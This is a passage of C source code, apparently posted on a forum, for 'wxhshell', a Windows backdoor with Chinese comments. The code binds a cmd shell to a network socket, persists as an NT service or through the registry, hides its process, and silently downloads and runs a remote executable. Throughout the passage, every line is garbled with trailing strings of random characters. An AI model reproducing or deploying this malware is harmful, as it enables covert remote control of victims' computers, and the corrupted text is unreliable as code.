      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r5!x,{E6  
    break; Hdbnb[e  
  } t>6x)2,TC  
  // 安装 ;Ma/b=Y  
  case 'i': { q"LJwV}W  
    if(Install()) ;;w6b:}-c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5}MlZp  
    else e8ULf~I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,hTwNVWI9  
    break; j*H;a ?Y  
    } b y|?g8  
  // 卸载 ]o[X+;Tj|  
  case 'r': { {GQ Aa  
    if(Uninstall()) %eJ\d?nw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "wF ?Hamz  
    else hViprhC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z.aLk4QO@  
    break; /nY).lSH  
    } VM!-I8t  
  // 显示 wxhshell 所在路径 dI_r:xN  
  case 'p': { {8{t]LK<  
    char svExeFile[MAX_PATH]; xgtJl}L  
    strcpy(svExeFile,"\n\r"); zr3q>]oma  
      strcat(svExeFile,ExeFile); ;zZ,3pl-E  
        send(wsh,svExeFile,strlen(svExeFile),0); j(Fa=pi  
    break; q?;*g@t  
    } |C$:]MZx  
  // 重启 rw5#e.~V  
  case 'b': { ZTh?^}/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @zr8%8n  
    if(Boot(REBOOT)) waXDGdl0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W s^+7u  
    else { '0R/6Z|/Y  
    closesocket(wsh); WyBQ{H{So  
    ExitThread(0); nW $A^  
    } ERfd7V<c>  
    break; ]r/(n]=(  
    } qE#&)  
  // 关机 IOsXPf9@  
  case 'd': { 2I]]WBW#:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B@cJ\  
    if(Boot(SHUTDOWN)) Z7/vrME6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CF3E]dt  
    else { lFiq<3Nk  
    closesocket(wsh); :SQDqG   
    ExitThread(0); wUZQB1$F  
    } x1 ;rb8  
    break; kf+JM/  
    } BGB,Gb  
  // 获取shell ]PR|d\O  
  case 's': { y\F`B0#$  
    CmdShell(wsh); lQh E]m>+  
    closesocket(wsh); sTKab :  
    ExitThread(0); #joF{ M{  
    break; W:VW_3  
  } F3r S6_  
  // 退出 F1 <489  
  case 'x': { 3 R5%N ~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qy{NS.T  
    CloseIt(wsh); -;+m%"k5  
    break; x9xzm5  
    } CCuxC9i7  
  // 离开 }7iUagN  
  case 'q': { |f"-|6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <8iYL`3  
    closesocket(wsh); ,]f),;=  
    WSACleanup(); -`-ACWeNV  
    exit(1); ! (B_EM  
    break; *mf}bTiS  
        } AU0$A403  
  } /t$rX3A  
  } ~J%R-{U9  
jZa25Z00  
  // 提示信息 "(0oP9lZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  C}Rs[  
} .KFA218h*x  
  } BD hLz  
"w;08TX8  
  return; _mw13jcN]  
} {GUb'J  
''_,S,.a20  
// shell模块句柄 63.( j P1;  
int CmdShell(SOCKET sock) *]FgfttES  
{ O-i4_YdVt  
STARTUPINFO si; F\;2 i:(  
ZeroMemory(&si,sizeof(si)); U%Dit  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h{\t*U 54'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d "2wO[  
PROCESS_INFORMATION ProcessInfo; et@">D%;]  
char cmdline[]="cmd"; T:c7@^=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b([:,T7  
  return 0; {":c@I  
} "Lb f F  
1d`cTaQ-  
// 自身启动模式 37#cx)p^f  
int StartFromService(void) 5$anqGw  
{ J(4g4?  
typedef struct sD{ j@WEZ  
{ ol50d73B  
  DWORD ExitStatus; ya#RII']  
  DWORD PebBaseAddress;  "";=DH  
  DWORD AffinityMask; iM8sX B  
  DWORD BasePriority; Ocybc%  
  ULONG UniqueProcessId; `4_c0 q)N4  
  ULONG InheritedFromUniqueProcessId; kPWBDpzN  
}   PROCESS_BASIC_INFORMATION; ?fB5t;~E  
L,#^&9bHa#  
PROCNTQSIP NtQueryInformationProcess; U4=]#=R~o  
s} s|~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -=5EbNPwG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lHcA j{6  
7vw;Egd@@-  
  HANDLE             hProcess; 00"CC  
  PROCESS_BASIC_INFORMATION pbi; ^1R"7h  
AH|Y<\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,}KwP*:Z  
  if(NULL == hInst ) return 0; 5lGQ#r  
fSbS(a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hzv3F9.x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d bCNhbN(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QPX`l0V  
ndqckT@93  
  if (!NtQueryInformationProcess) return 0; 6s5yyy=L%~  
nX)f'[ 7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B@"J]S  
  if(!hProcess) return 0; X~Cq  
qIz}$%!A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0 k9<&  
=PZWS& (L  
  CloseHandle(hProcess); f9a$$nb3`  
bi.wYp(*6L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !3@{U@*Z]  
if(hProcess==NULL) return 0; V3Yd&HVWNQ  
*,0+RASvq  
HMODULE hMod; /9Z!p  
char procName[255]; "oe!M'aj`1  
unsigned long cbNeeded; =HS4I.@c_5  
F_v-}bbcFQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $~G@   
_$5@uL{n"^  
  CloseHandle(hProcess); NJm-%K  
YQYX,b  
if(strstr(procName,"services")) return 1; // 以服务启动 z+ ZG1\  
]+ZM/'X  
  return 0; // 注册表启动 ?2ItTrlB  
} 7E\g &R.  
TM-Fu([LMV  
// 主模块 "Vy WT  
int StartWxhshell(LPSTR lpCmdLine) xp^ 7#`MJ?  
{ Zw#<E =\  
  SOCKET wsl; $ser+Jt=  
BOOL val=TRUE; [S0mY["  
  int port=0; d8o ewkiR  
  struct sockaddr_in door; ^Q\XGl  
q/x/N5HU  
  if(wscfg.ws_autoins) Install(); @$c!/  
|z*>ixK  
port=atoi(lpCmdLine); , D"]y~~I5  
c0ZaFJ  
if(port<=0) port=wscfg.ws_port; =k_UjwgN^  
qnXTNs ?b  
  WSADATA data; M)O [j}N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X}W)3v  
b i~=x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GW/WUzK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SY T$3|a  
  door.sin_family = AF_INET; ?4[NNL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X!c?CL  
  door.sin_port = htons(port); F>-}*o  
qrE0H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V;;#/$oU:4  
closesocket(wsl); ;_N5>3C:  
return 1; 7&|6KN}c  
} Ao"C<.gUYP  
M*`hDdS  
  if(listen(wsl,2) == INVALID_SOCKET) { FM\[].  
closesocket(wsl); 30d#Lq  
return 1; U\bC0q   
} z_n \5.  
  Wxhshell(wsl); ^Xs]C|=W  
  WSACleanup(); T8Na]V5  
MGaiTN^_<  
return 0; gDC2 >nV  
[K:29N9~4  
} fRNP#pi0u  
ArXl=s';s4  
// 以NT服务方式启动 onnugj3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HeozJ^u\?  
{ X"<|Z]w  
DWORD   status = 0; N RSU+D-z  
  DWORD   specificError = 0xfffffff; (Ilsk{aB;A  
ri=+(NKo-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D#0O[F@l##  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #pA[k -  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |^Kjz{  
  serviceStatus.dwWin32ExitCode     = 0; (B}+h   
  serviceStatus.dwServiceSpecificExitCode = 0; -nR\,+N  
  serviceStatus.dwCheckPoint       = 0; !y*oF{RZ  
  serviceStatus.dwWaitHint       = 0; 39D }  
s|2}2<+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e U;jP]FA  
  if (hServiceStatusHandle==0) return; $ $4W}Ug3U  
9XOyj5  
status = GetLastError(); (h,Ws-O  
  if (status!=NO_ERROR) DsQ/aG9c%  
{ fj+O'X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~L'nz quF  
    serviceStatus.dwCheckPoint       = 0; XTo8,'UaP  
    serviceStatus.dwWaitHint       = 0; 'n4u-pM(nB  
    serviceStatus.dwWin32ExitCode     = status; 1X&B:_  
    serviceStatus.dwServiceSpecificExitCode = specificError; F1c&0*_A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .@k*p>K  
    return; *Hunp Y  
  } o^GC=Aca`  
8R4qU!M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P4 6,o  
  serviceStatus.dwCheckPoint       = 0; _]o5R7[MQ  
  serviceStatus.dwWaitHint       = 0; &yLc1#H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hk;bk?:m  
} 6K 4+0xXv  
aYVDp{_  
// 处理NT服务事件,比如:启动、停止  yekRwo|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /b{HG7i\  
{ JIV8q HC  
switch(fdwControl) Pux)>q] C  
{ 9L  HuS  
case SERVICE_CONTROL_STOP: q[c Etp28h  
  serviceStatus.dwWin32ExitCode = 0; 9h&yuS'Yj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =P]GPEz_  
  serviceStatus.dwCheckPoint   = 0; %U?)?iZdL  
  serviceStatus.dwWaitHint     = 0; `qu] Pxk  
  { hdg<bZk:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a))*F!}c  
  } HNMBXXf, B  
  return; g1V)$s 7  
case SERVICE_CONTROL_PAUSE: >{XScxaB`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xb`CdtG2.  
  break; u[EK#%  
case SERVICE_CONTROL_CONTINUE: z2~87fv+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kM`7EPk  
  break; xwOE+  
case SERVICE_CONTROL_INTERROGATE: 6b#~;  
  break; SQ<f  
}; ^ItAW$T]F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o?\Gm  
} 4J}3,+  
^c'f<<z|7r  
// 标准应用程序主函数 tN!Bvj:C[M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OG}KqG!n  
{ O 6]u!NqG  
E9R]sXf8  
// 获取操作系统版本 0BDS_Rx  
OsIsNt=GetOsVer(); ]-Lruq#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bd{\{[^S!  
yHOqzq56  
  // 从命令行安装 5rN7':(H!%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3?^NN|xg  
0_HJ.g!  
  // 下载执行文件 JWWInuH  
if(wscfg.ws_downexe) { 8!4[#y<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Tzf$*Uje3  
  WinExec(wscfg.ws_filenam,SW_HIDE); yxY h?ka  
} L!vWRwZwC  
g]4y AV<2  
if(!OsIsNt) { ,!H\^Vfl  
// 如果时win9x,隐藏进程并且设置为注册表启动 rXDJ:NP  
HideProc(); I4:rie\hjC  
StartWxhshell(lpCmdLine); b"3uD`  
} R#LGFXUj  
else ^XNw$@&',  
  if(StartFromService()) UOJ*a1BM  
  // 以服务方式启动 B G5X_s0/  
  StartServiceCtrlDispatcher(DispatchTable); )w3 ,   
else IywiCMjH  
  // 普通方式启动 f-&ATTx`J  
  StartWxhshell(lpCmdLine); iLQSa7  
jJ<;2e~OW  
return 0; yWmrdvL  
}
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只看该作者 1 发表于: 2006-10-10
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